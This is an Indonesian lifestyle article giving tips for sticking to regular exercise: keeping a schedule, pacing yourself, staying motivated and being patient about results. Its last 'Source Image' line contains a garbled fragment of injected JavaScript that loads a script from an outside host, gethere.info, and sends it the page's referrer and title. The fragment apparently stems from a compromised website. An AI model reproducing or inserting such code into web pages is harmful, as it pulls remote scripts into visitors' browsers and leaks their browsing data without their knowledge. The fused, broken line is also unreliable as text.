Berkomitmenlah olahraga secara teratur untuk memperoleh tubuh yang sehat dan bugar
Di saat ini, berolahraga secara teratur adalah suatu hal yang sulit dilakukan. Akan tetapi, bila Anda berkomitmen untuk memperoleh tubuh yang sehat dan bugar, olahraga secara teratur tidak akan sulit dilakukan. Namun, jangan khawatir, berikut ini adalah beberapa tips yang bisa membuat Anda lebih berkomitmen untuk berolahraga secara teratur setiap hari.
Buatlah plan dan jadwal
Jadwal membantu Anda meluangkan waktu terlebih dahulu dan juga bisa membuat Anda melihat seberapa lama berolahraga setiap harinya. Mengubah porsi dan frekuensi berolahraga akan lebih mudah bila Anda memiliki jadwal tersendiri untuk olahraga.
Perhatikan waktu
Mengetahui seberapa lama Anda berolahraga dan seberapa sering akan membantu melihat seberapa besar pengaruh olahraga pada diri Anda di masa mendatang. Selain itu, jangan memaksakan diri. Bila Anda sudah berolahraga dalam waktu yang cukup lama, beristirahatlah dahulu baru memulainya kembali.
Semangat itu penting
Olahraga sangat dipengaruhi dengan keadaan psikologis. Bila memang Anda berkomitmen dan bersemangat untuk melakukan olahraga, Anda tidak akan merasa keberatan melakukannya dan bisa melakukannya secara teratur dengan lebih mudah.
Olahraga itu tidak instan
Berolahraga tidak akan memberikan hasil instan. Tubuh yang bugar bukanlah hasil dari olahraga satu atau dua hari saja. Tubuh yang sehat dan bugar merupakan hasil dari gaya hidup sehat yang dilakukan secara teratur dan dalam porsi yang sesuai. Bila memang hasil olahraga Anda belum tampak, jangan menyerah, tidak akan lama lagi pasti Anda akan merasakannya.
Sumber : vemale.com
Source Image : http://www.gilasport.coms.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;